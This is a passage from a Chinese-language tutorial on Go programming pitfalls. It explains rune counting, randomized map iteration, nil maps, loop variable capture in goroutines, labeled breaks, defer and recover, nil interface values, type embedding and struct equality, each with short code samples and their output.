\u0026quot;\\xe2\\x28\\xa1\u0026quot; fmt.Println(utf8.ValidString(s)) // false fmt.Println(s) // �(� } 7) rune类型 Go中的Unicode码点以“rune”类型表示，而“rune”又是32位整数。\n字符串长度 在字符串上调用len将返回字符串中的字节数，而不是字符数。\n获取字符数可能会十分复杂。在您的用例中，对字符串中的rune进行计数可能不够好：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;unicode/utf8\u0026quot; ) func main() { s := \u0026quot;한국어\u0026quot; // 3 Korean characters, encoded in 9 bytes byteLen := len(s) runeLen := utf8.RuneCountInString(s) runeLen2 := len([]rune(s)) // same thing as doing RuneCountInString fmt.Println(byteLen, runeLen, runeLen2) // prints 9 3 3 } 不幸的是，某些Unicode字符跨越多个代码点，因此跨越多个rune。需要做一些可怕的事情来计算出人类能感觉到的Unicode字符串中的字符数。如Unicode标准中所述。Go库并没有真正提供一种简单的方法。这是方法之一：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;unicode/utf8\u0026quot; \u0026quot;golang.org/x/text/unicode/norm\u0026quot; ) func normlen(s string) int { var ia norm.Iter ia.InitString(norm.NFKD, s) nc := 0 for !ia.Done() { nc = nc + 1 ia.Next() } return nc } func main() { str := \u0026quot;é́́\u0026quot; // a particularly strange character fmt.Printf( \u0026quot;%d bytes, %d runes, %d actual character\u0026quot;, len(str), utf8.RuneCountInString(str), normlen(str)) } 7 bytes, 4 runes, 1 actual character 9) 字符串下标运算符 vs. for…range 简而言之，字符串下标运算符返回字符串的字节数组下标处的字节。而for range则在字符串中的rune上进行迭代，将字符串解释为UTF-8编码的文本：\npackage main import ( \u0026quot;fmt\u0026quot; ) func main() { s := \u0026quot;touché\u0026quot; // prints every byte // touchÃ© for i := 0; i \u0026lt; len(s); i++ { fmt.Print(string(s[i])) } fmt.Println() // prints every rune // touché for _, r := range s { fmt.Print(string(r)) } fmt.Println() // convert a string to rune slice to access by index // touché r := []rune(s) for i := 0; i \u0026lt; len(r); i++ { fmt.Print(string(r[i])) } } 8. map 1) map迭代顺序是随机的（不是真的） 从技术上讲，map的迭代顺序是“未定义的”。Go map在内部使用哈希表，并且通常按照map元素在该表中的排列顺序进行map迭代。当将新元素添加到map时，由于哈希表需要增长，因此不能依赖此顺序并进行更改。在Go的早期，这对于那些不阅读语言文档并以某种方式依赖于按一定顺序进行迭代的程序员来说是一个严重的陷阱。为了帮助及早发现这些问题，而不是在生产中发现这些问题，Go开发人员将map迭代设为随机：\npackage main import \u0026quot;fmt\u0026quot; func main() { // add sequential elements // to make it seem like maybe maps are iterated in order m := map[int]int{0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5} for i := 0; i \u0026lt; 5; i++ { for i := range m { fmt.Print(i, \u0026quot; \u0026quot;) } fmt.Println() } // add more elements // to make the hash table of the map grow and reorder elements m[6] = 6 m[7] = 7 m[8] = 8 for i := 0; i \u0026lt; 5; i++ { for i := range m { fmt.Print(i, \u0026quot; \u0026quot;) } fmt.Println() } } 3 4 5 0 1 2 5 0 1 2 3 4 0 1 2 3 4 5 1 2 3 4 5 0 0 1 2 3 4 5 0 1 3 6 7 2 4 5 8 1 3 6 7 0 4 5 8 2 2 4 5 8 0 1 3 6 7 0 1 3 6 7 2 4 5 8 0 1 3 6 7 2 4 5 8 在上面的示例中，当使用项目1到5初始化map时，它们将以该顺序添加到哈希表中。前五个打印行都是按顺序写入的数字0到5。Go仅随机化迭代从哪个元素开始。向map添加更多元素会使map的哈希表增加。从而对整个哈希表进行重新排序。最后5条输出不再以任何明显的顺序排列。如果需要，您可以在Go maps的源代码中找到有关它的全部信息。\n2) 检查map键是否存在 访问不存在的map元素将返回map值类型的默认值(零值)。如果它是整数map，则将返回0，对于引用类型，它将为nil。当您要检查map中是否存在某个元素时，有时默认值就足够了。例如，如果您有一个指向结构的指针的map，然后在访问map时获得nil值，则可以确保这意味着您要查找的元素不在map中。例如，在布尔值map的情况下，默认值不足以判断元素值是否为“false”或map中是否缺少该元素。访问map元素会返回一个可选的第二个参数，该参数可以告诉您该元素是否确实在map中：\npackage main import \u0026quot;fmt\u0026quot; func main() { m := map[int]bool{1: false, 2: true, 3: true} // prints false, but not clear if the value of // the element is false or map item doesn’t exist // and the default was returned fmt.Println(m[1]) val, exists := m[1] fmt.Println(val, exists) // prints false true } 切片类型是具有指向数组的指针的结构（值类型），而map本身是指针。切片的零值已经完全可用。您可以使用append添加元素并获取其长度。但map是不同的。Go开发人员希望使map零值完全可用，但他们不知道如何有效地实现它。Go中的Map关键字是*runtime.hmap类型的别名。它的零值为nil。可以读取nilmap，但不能将其写入：\npackage main import \u0026quot;fmt\u0026quot; func main() { var m map[int]int // a nil map // taking len of a nil map is OK. prints 0 fmt.Println(len(m)) // reading nil map is OK. prints 0 (the default of the map value type) fmt.Println(m[10]) m[10] = 1 // panic: assignment to entry in nil map } 可以读取nil map，因为map项是使用类似下面这样的函数访问的（来自runtime/map.go）：\nfunc mapaccess1(t *maptype, h *hmap, key unsafe.Pointer) unsafe.Pointer 此函数将检查map是否为nil，如果为nil，则返回零值。请注意，它无法为您创建map。要拥有完全可用的map，必须调用make：\npackage main import \u0026quot;fmt\u0026quot; func main() { m := make(map[int]int) m[10] = 11 // now all is well fmt.Println(m[10]) // prints 11 } 由于map是将其传递给函数的指针，因此将指针传递给相同的map数据结构：\npackage main import \u0026quot;fmt\u0026quot; func f1(m map[int]int) { m[5] = 123 } func main() { m := make(map[int]int) f1(m) fmt.Println(m[5]) // prints 123 } 当将指向map的指针传递给函数时，该指针的值将被复制（Go通过值（包括指针）传递所有内容）。如果要在函数内部创建新的map，它将更改指针副本的值。因此，这将不起作用：\npackage main import \u0026quot;fmt\u0026quot; func f1(m map[int]int) { m = make(map[int]int) m[5] = 123 } func main() { var m map[int]int f1(m) fmt.Println(m[5]) // prints 0 fmt.Println(m == nil) // true } 3) struct{}类型 Go没有集合数据结构（类似于带有键的map，但没有C++中实现的std::set或在C＃中实现的HashSet）。使用map替代非常简单。一个小技巧是在这种情况下使用struct{}类型作为map值：\npackage main import ( \u0026quot;fmt\u0026quot; ) func main() { m := make(map[int]struct{}) m[123] = struct{}{} _, keyexists := m[123] fmt.Println(keyexists) } 通常在此处会使用bool值，但是具有struct{}值类型的map将使用更少的内存。struct{}类型实际上为零字节：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) func main() { fmt.Println(unsafe.Sizeof(false)) // 1 fmt.Println(unsafe.Sizeof(struct{}{})) // 0 } 4) map容量 map是一个相当复杂的数据结构。虽然可以在创建map时指定map的初始容量，但以后无法获取其容量（至少不能使用cap函数）：\npackage main import ( \u0026quot;fmt\u0026quot; ) func main() { m := make(map[int]bool, 5) // initial capacity of 5 fmt.Println(len(m)) // len is fine fmt.Println(cap(m)) // invalid argument m (type map[int]bool) for cap } 5) map值不可寻址 Go Map是用哈希表实现的，当map需要增长或缩小时，哈希表需要移动其元素。因此，Go不允许使用map元素的地址：\npackage main import \u0026quot;fmt\u0026quot; type item struct { value string } func main() { m := map[int]item{1: {\u0026quot;one\u0026quot;}} fmt.Println(m[1].value) // reading a struct value is fine addr := \u0026amp;m[1] // error: cannot take the address of m[1] // error: cannot assign to struct field m[1].value in map m[1].value = \u0026quot;two\u0026quot; } 有一种建议允许给一个结构体字段赋值（m[1].value =”two”），因为在这种情况下，不保留指向值字段的指针，只能通过它进行分配。尽管由于“微不足道的情况”，目前尚无具体计划何时或是否实施。\n解决方法是将整个结构重新分配回map：\npackage main type item struct { value string } func main() { m := map[int]item{1: {\u0026quot;one\u0026quot;}} tmp := m[1] tmp.value = \u0026quot;two\u0026quot; m[1] = tmp } 或者，指向结构体的指针map也将起作用。在这种情况下，m[1]的“值”的类型为*item。Go不需要带一个指向map值的指针，该值本身已经是一个指针。哈希表将在内存中移动指针，但是如果您复制值m[1]的副本，它将继续指向同一项目，因此一切都很好：\npackage main import \u0026quot;fmt\u0026quot; type item struct { value string } func main() { m := map[int]*item{1: {\u0026quot;one\u0026quot;}} // Go does not need to take address of m[1] here // as it is a pointer already m[1].value = \u0026quot;two\u0026quot; fmt.Println(m[1].value) // two addr := \u0026amp;m[1] // still same error: cannot take the address of m[1] } 值得注意的是，切片和数组没有此问题：\npackage main import \u0026quot;fmt\u0026quot; func main() { slice := []string{\u0026quot;one\u0026quot;} saddr := \u0026amp;slice[0] *saddr = \u0026quot;two\u0026quot; fmt.Println(slice) // [two] } 6) 数据竞态 常规的Go map对于并发访问并不安全。map通常用于在goroutine之间共享数据，但是对map的访问必须通过sync.Mutex，sync.RWMutex，其他一些内存屏障或与Go channel进行协调来阻止并发访问。除了以下例外：\n仅当发生更新时，map访问才是不安全的。只要所有goroutine仅读取（在map中查找元素，包括使用for range 循环对其进行遍历）， 并且不通过分配元素或进行删除来更改map，则对于它们来说，在不同步的情况下并发访问map是安全的。 – https://golang.org/doc/faq\npackage main import ( \u0026quot;math/rand\u0026quot; \u0026quot;time\u0026quot; ) func readWrite(m map[int]int) { // do some random reads and writes to the map for i := 0; i \u0026lt; 100; i++ { k := rand.Int() m[k] = m[k] + 1 } } func main() { m := make(map[int]int) // start goroutines to read and write map concurrently for i := 0; i \u0026lt; 10; i++ { go readWrite(m) } time.Sleep(time.Second) } fatal error: concurrent map read and map write fatal error: concurrent map writes … 在这种情况下，map访问可以用互斥对象同步。下面的代码将按预期工作：\npackage main import ( \u0026quot;math/rand\u0026quot; \u0026quot;sync\u0026quot; \u0026quot;time\u0026quot; ) var mu sync.Mutex func readWrite(m map[int]int) { mu.Lock() // defer unlock mutex will unlock mutex // even if this goroutine would panic defer mu.Unlock() for i := 0; i \u0026lt; 100; i++ { k := rand.Int() m[k] = m[k] + 1 } } func main() { m := make(map[int]int) for i := 0; i \u0026lt; 10; i++ { go readWrite(m) } time.Sleep(time.Second) } 7) sync.Map sync包中有一个特殊版本的map，可以安全地被多个goroutine并发使用。但是，Go文档建议在大多数情况下使用Mutex的常规map。sync.Map是类型不安全的，它类似于map[interface{}]interface{}。sync.Map文档有这段描述：\nMap类型针对两种常见使用场景进行了优化：（1）给定键的条目仅写入一次但读取多次，例如在仅增长的高速缓存中；（2）当多个goroutine进行读取，写入和覆盖不相交的键集的条目。在这两种情况下，与单独的Mutex或RWMutex配对的Go map相比，使用Map可以显着减少锁争用。 – https://github.com/golang/go/blob/master/src/sync/map.go\n9. 循环(loop) 1) range迭代器返回两个值 初学者的陷阱。Go中的For-range与其他语言中的for-range略有不同。它返回一个或两个变量，第一个是迭代索引（如果迭代的对象是map，第一个值则是map键），第二个是值。如果仅使用一个变量，那么它是索引：\npackage main import \u0026quot;fmt\u0026quot; func main() { slice := []string{\u0026quot;one\u0026quot;, \u0026quot;two\u0026quot;, \u0026quot;three\u0026quot;} for v := range slice { fmt.Println(v) // 0, 1, 2 } for _, v := range slice { fmt.Println(v) // one two three } } 2) For循环迭代器变量被重用 在循环中，每次迭代都重复使用相同的迭代器变量。如果使用其地址，则每次都将是相同的地址，这意味着迭代器变量的值将在每次迭代时复制到相同的内存位置。它使循环更有效，但它也是Go中最常见的陷阱之一。这是Go Wiki的示例：\npackage main import \u0026quot;fmt\u0026quot; func main() { var out []*int for i := 0; i \u0026lt; 3; i++ { out = append(out, \u0026amp;i) } fmt.Println(\u0026quot;Values:\u0026quot;, *out[0], *out[1], *out[2]) fmt.Println(\u0026quot;Addresses:\u0026quot;, out[0], out[1], out[2]) } Values: 3 3 3 Addresses: 0xc0000120e0 0xc0000120e0 0xc0000120e0 一种解决方案是在循环内部声明一个新变量。在代码块内部声明的变量即使在循环中也不会被重用：\npackage main import \u0026quot;fmt\u0026quot; func main() { var out []*int for i := 0; i \u0026lt; 3; i++ { i := i // copy i into a new variable out = append(out, \u0026amp;i) } fmt.Println(\u0026quot;Values:\u0026quot;, *out[0], *out[1], *out[2]) fmt.Println(\u0026quot;Addresses:\u0026quot;, out[0], out[1], out[2]) } 现在，它可以按预期工作：\nValues: 0 1 2 Addresses: 0xc0000120e0 0xc0000120e8 0xc0000120f0 在使用for-range子句的情况下，将同时使用索引和值变量。\n在循环中启动goroutine是类似的事情：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { for i := 0; i \u0026lt; 3; i++ { go func() { fmt.Print(i) }() } time.Sleep(time.Second) } 333 这些goroutine是在此循环中创建的，但是它们开始运行需要花费一些时间。由于它们捕获单个i变量，因此Println会在执行goroutine时打印其具有的任何值。\n在这种情况下，您可以像前面的示例一样在代码块内创建一个新变量，或者将iterator变量作为参数传递给goroutine：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { for i := 0; i \u0026lt; 3; i++ { go func(i int) { fmt.Print(i) }(i) } time.Sleep(time.Second) } 012 在这里，goroutine i的参数是一个新变量，它是从迭代器变量中复制的，这是创建goroutine的一部分。\n如果循环不是启动goroutine，而是调用一个简单的函数，则代码将按预期工作：\nfor i := 0; i \u0026lt; 3; i++ { func() { fmt.Print(i) }() } 012 变量i像以前一样被重用。但是，这些函数调用中的每一个都不会让循环继续进行，直到函数完成执行为止，在这段时间内，我将获得期望的值。\n它变得有些棘手。通过在struct上调用一个方法来看看这个例子：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) type myStruct struct { v int } func (s *myStruct) myMethod() { // print the value of myStruct and its address fmt.Printf(\u0026quot;%v, %p\\n\u0026quot;, s.v, s) } func main() { byValue := []myStruct{{1}, {2}, {3}} byReference := []*myStruct{{1}, {2}, {3}} fmt.Println(\u0026quot;By value\u0026quot;) for _, i := range byValue { go i.myMethod() } time.Sleep(time.Millisecond * 100) fmt.Println(\u0026quot;By reference\u0026quot;) for _, i := range byReference { go i.myMethod() } time.Sleep(time.Millisecond * 100) } By value 3, 0xc000012120 3, 0xc000012120 3, 0xc000012120 By reference 1, 0xc0000120e0 3, 0xc0000120f0 2, 0xc0000120e8 我们看到：通过引用使用myStruct时，它的工作就像没有陷阱一样！这与创建goroutines有关。在创建goroutine时会对goroutine参数进行求值。方法接收者（myMethod的myStruct）实际上是一个参数。\n当按值调用时：由于myMethod的参数s是一个指针，因此i的地址被视为作为参数传递给goroutine，我们知道迭代器变量被重用，因此每次它都是相同的地址。当迭代器运行时，它将复制新的myStruct值到i变量的相同地址。打印的值是执行goroutine时i变量具有的值。\n当通过引用调用时：参数已经是一个指针，因此在创建goroutine时将指针值压入新的goroutine的堆栈中。这恰好是我们想要的地址，并打印了期望值。\n3) 带label的break和continue Go可能鲜为人知的功能是能够为for, switch和select语句加上label，并在这些label上使用break和continue，这是我们常用的跳出外循环的方法：\nloopi: for x := 0; x \u0026lt; 3; x++ { for y := 0; y \u0026lt; 3; y++ { fmt.Printf(x, y) break loopi } } 0 0 continue也可以类似的方式使用：\nloopi: for x := 0; x \u0026lt; 3; x++ { for y := 0; y \u0026lt; 3; y++ { fmt.Printf(x, y) continue loopi } } 0 0 1 0 2 0 label也可以与switch和select语句一起使用。在这里，没有label的break只会脱离select语句并进入for循环：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { loop: for { select { case \u0026lt;-time.After(time.Second): fmt.Println(\u0026quot;timeout reached\u0026quot;) break loop } } fmt.Println(\u0026quot;the end\u0026quot;) } timeout reached the end 正如前面提到的，switch和select语句也可以加上label，因此我们可以将上面的示例写成：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { myswitch: switch { case true: for { fmt.Println(\u0026quot;switch\u0026quot;) break myswitch // would not be able to “continue” in this case } } fmt.Println(\u0026quot;the end\u0026quot;) } switch the end 容易将前面示例中的“label语句”与将使用goto的label混淆。实际上，您可以对break/continue和goto使用相同的标签，但是行为会有所不同。在下面的代码中，虽然break会脱离标记循环，但是goto会将代码执行转移到标签的位置（并在下面的代码中导致无限循环）：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { loop: switch { case true: for { fmt.Println(\u0026quot;switch\u0026quot;) break loop // breaks the “labeled statement” } } fmt.Println(\u0026quot;not the end\u0026quot;) goto loop // jumps to “loop” label } switch not the end switch not the end … 10. Switch和Select 1) case语句会默认break 与基于C的语言不同，Go中的case语句默认情况下会break。要使case语句向下继续执行，请使用fallthrough关键字：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { // this will not work, in case of Saturday nothing will be printed switch time.Now().Weekday() { case 6: // this case will break out of switch without doing anything case 7: fmt.Println(\u0026quot;weekend\u0026quot;) } switch time.Now().Weekday() { case 1: break // this break does nothing because case would break anyway case 2: fmt.Println(\u0026quot;weekend\u0026quot;) } // fallthrough keyword will make Saturday print weekend as well switch time.Now().Weekday() { case 6: fallthrough case 7: fmt.Println(\u0026quot;weekend\u0026quot;) } // case can also have multiple values switch time.Now().Weekday() { case 6, 7: fmt.Println(\u0026quot;weekend\u0026quot;) } // conditional breaks are still useful switch time.Now().Weekday() { case 6, 7: day := time.Now().Format(\u0026quot;01-02\u0026quot;) if day == \u0026quot;12-25\u0026quot; || day == \u0026quot;12-26\u0026quot; { fmt.Println(\u0026quot;Christmas weekend\u0026quot;) break // do not also print \u0026quot;weekend\u0026quot; } // a regular weekend fmt.Println(\u0026quot;weekend\u0026quot;) } } 2) 带label的break 如之前在循环一章中提到的那样，switch和select也可以执行带label的break来中断外部循环，而不是switch或select语句本身：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;strings\u0026quot; ) func main() { s := \u0026quot;The quick brown Waldo fox jumps over the lazy dog\u0026quot; findWaldoLoop: for _, w := range strings.Split(s, \u0026quot; \u0026quot;) { switch w { case \u0026quot;Waldo\u0026quot;: fmt.Println(\u0026quot;found Waldo!\u0026quot;) break findWaldoLoop default: fmt.Println(w, \u0026quot;is not Waldo\u0026quot;) } } } The is not Waldo quick is not Waldo brown is not Waldo found Waldo! 11. 函数 1) defer语句 Defer似乎没有很大的陷阱，但还是有值得一提的是细微之处。\n摘自安德鲁·格朗（Andrew Gerrand）关于该主题的出色文章：\ndefer语句将函数调用推送到列表上。包裹函数返回后，将执行保存的呼叫列表。Defer通常用于简化执行各种清理操作的功能。\n要注意的最重要的几点：\n虽然在原始函数返回时调用了deferred函数，但在调用defer时会对其参数求值\npackage main\nimport ( \u0026ldquo;fmt\u0026rdquo; )\nfunc main() { s := \u0026ldquo;defer\u0026rdquo; defer fmt.Println(s) s = \u0026ldquo;original\u0026rdquo; fmt.Println(s) }\noriginal defer\n原始函数返回后，延迟函数将按照后进先出的顺序执行\npackage main\nimport ( \u0026ldquo;fmt\u0026rdquo; )\nfunc main() { defer fmt.Println(\u0026ldquo;one\u0026rdquo;) defer fmt.Println(\u0026ldquo;two\u0026rdquo;) defer fmt.Println(\u0026ldquo;three\u0026rdquo;) }\nthree two one\n延迟函数可以访问和修改命名函数参数\npackage main\nimport ( \u0026ldquo;fmt\u0026rdquo; \u0026ldquo;time\u0026rdquo; )\nfunc timeNow() (t string) { defer func() { t = \u0026ldquo;Current time is: \u0026quot; + t }() return time.Now().Format(time.Stamp) }\nfunc main() { fmt.Println(timeNow()) }\nCurrent time is: Feb 13 13:36:44\nDefer不适用于代码块，仅适用于整个函数\n与变量声明不同，defer语句的作用域不限于代码块：\npackage main import ( \u0026quot;fmt\u0026quot; ) func main() { for i := 0; i \u0026lt; 9; i++ { if i%3 == 0 { defer func(i int) { fmt.Println(\u0026quot;defer\u0026quot;, i) }(i) } } fmt.Println(\u0026quot;exiting main\u0026quot;) } exiting main defer 6 defer 3 defer 0 在此示例中，当i为0、3和6时，延迟函数调用将添加到列表中。但是，仅当主函数退出时（而不是在if语句的末尾，即离开代码块时）才调用该函数。\nrecover函数仅在延迟函数内部起作用，而在原始函数中则无济于事 它实际上没有其他任何意义，但是如果您正在寻找等效的try … catch语句，那么Go中没有这种语句。Go使用延迟函数内部的recover捕获panic。\npackage main import ( \u0026quot;fmt\u0026quot; ) func panickyFunc() { panic(\u0026quot;panic!\u0026quot;) } func main() { defer func() { r := recover() if r != nil { fmt.Println(\u0026quot;recovered\u0026quot;, r) } }() panickyFunc() fmt.Println(\u0026quot;this will never be printed\u0026quot;) } recovered panic! 12. Goroutines 1) 什么是goroutines 在大多数情况下，goroutines可以视为轻量级线程。它们可以快速启动，最初只使用2kb的堆栈内存（可以增加或缩小）。它们由Go运行时（而不是操作系统）管理，它们之间的上下文切换损耗很低。Goroutine是为并发而构建的，当在多个硬件线程上运行时，它们还将并行运行。\n并发就是一次处理很多事情。并行是关于一次做很多事情 – 罗伯·派克\n它们的效率令人吃惊，当与channel结合使用时，它们很可能是Go的最佳特性。它们在Go中无处不在，但是goroutine的一个好问题的一个极端示例可能是管理大量并发Websocket连接的服务器。它们需要分别进行单独管理，但是它们也很可能大部分闲置（不占用大量CPU或内存）。为每个线程创建一个线程，一旦连接到数千个连接都会引起问题，而使用goroutine可能会产生数十万个连接。\n关于goroutines如何工作的更详细的帖子可以在这里找到。\n2) 运行goroutines不会阻止程序退出 当主函数退出时，Go程序退出。在后台运行的所有goroutine都会安静地停止。以下程序将退出而不打印任何内容\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func goroutine1() { time.Sleep(time.Second) fmt.Println(\u0026quot;goroutine1\u0026quot;) } func goroutine2() { time.Sleep(time.Second) fmt.Println(\u0026quot;goroutine2\u0026quot;) } func main() { go goroutine1() go goroutine2() } 为了确保这些goroutine完成，需要添加一些同步措施，例如使用channel或sync.WaitGroup：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;sync\u0026quot; \u0026quot;time\u0026quot; ) func goroutine1(wg *sync.WaitGroup) { time.Sleep(time.Second) fmt.Println(\u0026quot;goroutine1\u0026quot;) wg.Done() } func goroutine2(wg *sync.WaitGroup) { time.Sleep(time.Second) fmt.Println(\u0026quot;goroutine2\u0026quot;) wg.Done() } func main() { wg := \u0026amp;sync.WaitGroup{} wg.Add(2) go goroutine1(wg) go goroutine2(wg) wg.Wait() } goroutine2 goroutine1 3) panic的goroutine会使整个应用程序崩溃 goroutine中的panic情况必须使用defer和recover处理。否则，整个应用程序将崩溃：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func goroutine1() { panic(\u0026quot;something went wrong\u0026quot;) } func main() { go goroutine1() time.Sleep(time.Second) fmt.Println(\u0026quot;will never get here\u0026quot;) } panic: something went wrong goroutine 6 [running]: main.goroutine1() c:/projects/test/main.go:9 +0x45 created by main.main c:/projects/test/main.go:13 +0x45 13. 接口 1) 检查接口变量是否为nil 这无疑是Go中最常见的陷阱之一。Go中的接口不像某些其他语言，它不仅仅是指向内存位置的指针。\nGo接口具有：\n静态类型（接口本身的类型） 动态类型 值(value) 接口类型的变量的动态类型和值均为nil时，其值才等于nil\npackage main import ( \u0026quot;fmt\u0026quot; ) type ISayHi interface { Say() } type SayHi struct{} func (s *SayHi) Say() { fmt.Println(\u0026quot;Hi!\u0026quot;) } func main() { // at this point variable “sayer” only has the static type of ISayHi // dynamic type and value are nil var sayer ISayHi // as expected sayer equals to nil fmt.Println(sayer == nil) // true // a nil variable of a concrete type var sayerImplementation *SayHi // dynamic type of the interface variable is now SayHi // the actual value interface points to is still nil sayer = sayerImplementation // sayer no longer equals to nil, because its dynamic type is set // even though the value it points to is nil // which is not what most people would expect here fmt.Println(sayer == nil) // false } 接口值设置为nil结构体。接口不能用于任何东西，那么为什么它不等于nil？与其他语言相比，这是Go的另一个区别。在C＃中对nil类调用方法时，无论情况好坏，都会引发异常，在Go中它是允许的。因此，当接口设置了动态类型时，即使该值为nil，有时也可以使用。因此，您可以争辩说接口不是真的“nil”：\npackage main import ( \u0026quot;fmt\u0026quot; ) type ISayHi interface { Say() } type SayHi struct{} func (s *SayHi) Say() { // this function is not accessing s // even if s is nil this will work fmt.Println(\u0026quot;Hi!\u0026quot;) } func main() { var sayer ISayHi var sayerImplementation *SayHi sayer = sayerImplementation // the value of SayHi on sayer interface is nil // in Go it's OK to call methods on a nil struct // this line will work fine, because Say function is not accessing s sayer.Say() } 奇怪的是，没有简单的方法可以检查接口指向的值是否为nil。关于该主题的讨论正在进行很长时间，而且似乎没有任何进展。因此，在可预见的将来，您可以执行以下操作：\n最少的选择1：永远不要将具体类型的零值赋值给接口 如果您从不将具体类型的零值赋值给接口变量（设计用于nil接收器的类型除外），则简单的“== nil”检查将始终有效。例如，永远不要这样做：\nfunc MyFunc() ISayHi { var result *SayHi if time.Now().Weekday() == time.Sunday { result = \u0026amp;SayHi{} } // if it’s not Sunday, this returns an interface that is not // equal to nil, but has a nil value for its concrete type // (MyFunc() == nil would be false) return result } 而是返回实际的nil：\nfunc MyBetterFunc() ISayHi { if time.Now().Weekday() != time.Sunday { // if it’s not Sunday // MyBetterFunc() == nil would be true return nil } return \u0026amp;SayHi{} } 即使它不是理想的，它也可能是最好的可用解决方案，因为那时每个人都必须意识到它，并在代码审查等中对其进行监视，并以某种方式完成计算机可以完成的工作。\n在特殊情况下可以选择2：反射 如果需要，可以通过反射检查接口的基础值是否为零。这会很慢，并且用以下函数调用来填充代码可能不是一个好主意：\nfunc IsInterfaceNil(i interface{}) bool { if i == nil { return false } rvalue := reflect.ValueOf(i) return rvalue.Kind() == reflect.Ptr \u0026amp;\u0026amp; rvalue.IsNil() } 检查value的Kind()是否是指针是必要的，因为IsNil会对无法为nil的类型（例如简单的int）抛出panic。\n请不要执行此选项3：将IsNil添加到您的struct接口中 这样，您可以在不使用反射的情况下检查接口是否为零：\ntype ISayHi interface { Say() IsNil() bool } type SayHi struct{} func (s *SayHi) Say() { fmt.Println(\u0026quot;Hi!\u0026quot;) } func (s *SayHi) IsNil() bool { return s == nil } 也许考虑选项1和选项4：声明具体类型 如果知道接口值应该是哪种类型，则可以通过首先使用类型开关(type switch)或类型断言获取具体类型的值来检查接口值是否为零：\nfunc main() { v := MyFunc() fmt.Println(v.(*SayHi) == nil) } 如果您真的知道自己在做什么，可能会很好，但是在许多情况下，这种方法超出了使用接口开始的目的。考虑添加ISayHi的新实现时会发生什么。您是否需要记住查找此代码并为新结构添加另一个检查？您会为每个新实现执行此操作吗？如果此代码正在处理很少发生的事件并且仅在代码投入生产后很长时间才发现未检查新添加的实现，该怎么办？\n2) 接口隐式满足 与许多其他语言不同，您不需要显式指定结构体实现接口。编译器可以自己做出来。这非常有意义，也是非常方便的做法：\npackage main import ( \u0026quot;fmt\u0026quot; ) // an interface type ISayHi interface { Say() } // this struct implements ISayHi even if it doesn't know it type SayHi struct{} func (s *SayHi) Say() { fmt.Println(\u0026quot;Hi!\u0026quot;) } func main() { var sayer ISayHi // sayer is an interface sayer = \u0026amp;SayHi{} // SayHi implicitly implements ISayHi sayer.Say() } 有时让编译器检查结构体是否实现了接口可能会很有用：\n// verify at compile time that *SayHi implements ISayHi var _ ISayHi = (*SayHi)(nil) 3) 在错误类型上的类型断言 有一个单变量和两变量版本的类型断言。当动态类型与要断言的类型不匹配时，单变量版本会抛出panic：\nfunc main() { var sayer ISayHi sayer = \u0026amp;SayHi{} // t will be a zero value (nil in this case) of type *SayHi2 // ok will be false t, ok := sayer.(*SayHi2) if ok { t.Say() } // panic: interface conversion: // main.ISayHi is *main.SayHi, not *main.SayHi2 t2 := sayer.(*SayHi2) t2.Say() } 14 继承 1) 重新定义与嵌入类型 Go类型系统是…务实。它不是面向对象的，而C++或Java是面向对象的。你真的不能继承结构体或接口（没有子类），但你可以把它们放在一起（嵌入），以生成更多的复杂结构体或接口。\n嵌入与子类是两种不同的方式。当我们嵌入一个类型时，该类型的方法成为外部类型的方法，但是当调用它们时，该方法的接收者是内部类型，而不是外部类型。- https://golang.org/doc/effective_go\n在嵌入类型旁边，Go允许重新定义类型。重新定义继承类型的字段，但不继承其方法\npackage main type t1 struct { f1 string } func (t *t1) t1method() { } // embedding type type t2 struct { t1 } // redefining type type t3 t1 func main() { var mt1 t1 var mt2 t2 var mt3 t3 // fields are inherited in all the cases _ = mt1.f1 _ = mt2.f1 _ = mt3.f1 // these work ok mt1.t1method() mt2.t1method() // mt3.t1method undefined (type t3 has no field or method t1method) mt3.t1method() } 15. 相等性 1) Go的相等性 在Go中比较事物的方式有多种，但没有一种是完美的。\n2) 运算符==和!= 相等运算符是在Go中比较事物的最简单且通常是最有效的方法，但它仅适用于某些事物。最值得注意的是，它不适用于切片或map。切片和map只能以这种方式与nil进行比较。\n使用==可以比较基本类型，例如int和string，还可以比较其中包含可以使用==进行比较的元素的数组和结构：\npackage main import \u0026quot;fmt\u0026quot; type compareStruct1 struct { A int B string C [3]int } func main() { s1 := compareStruct1{} s2 := compareStruct1{} fmt.Println(s1 == s2) // works fine, prints true } 一旦将无法使用==比较的字段添加到结构体中，就需要使用其他方法进行比较：\npackage main import \u0026quot;fmt\u0026quot; type compareStruct2 struct { A int B string C []int // changed type of C from array to slice } func main() { s1 := compareStruct2{} s2 := compareStruct2{} // invalid operation: s1 == s2 // (struct containing []int cannot be compared) fmt.Println(s1 == s2) } 2. 编写特定代码 如果性能很重要，并且您需要比较稍微复杂一些的类型，那么最好的选择就是手动比较：\ntype compareStruct struct { A int B string C []int } func (s *compareStruct) Equals(s2 *compareStruct) bool { if s.A != s2.A || s.B != s2.B || len(s.C) != len(s2.C) { return false } for i := 0; i \u0026lt; len(s.C); i++ { if s.C[i] != s2.C[i] { return false } } return true } 上面代码中的比较功能可以自动生成，但是在撰写本文时，我还不知道有哪个工具可以做到这一点。\n3) Reflection.DeepEqual DeepEqual是在Go中比较事物的最通用方法，它可以处理大多数事物。但重点是：\nvar ( c1 = compareStruct{ A: 1, B: \u0026quot;hello\u0026quot;, C: []int{1, 2, 3}, } c2 = compareStruct{ A: 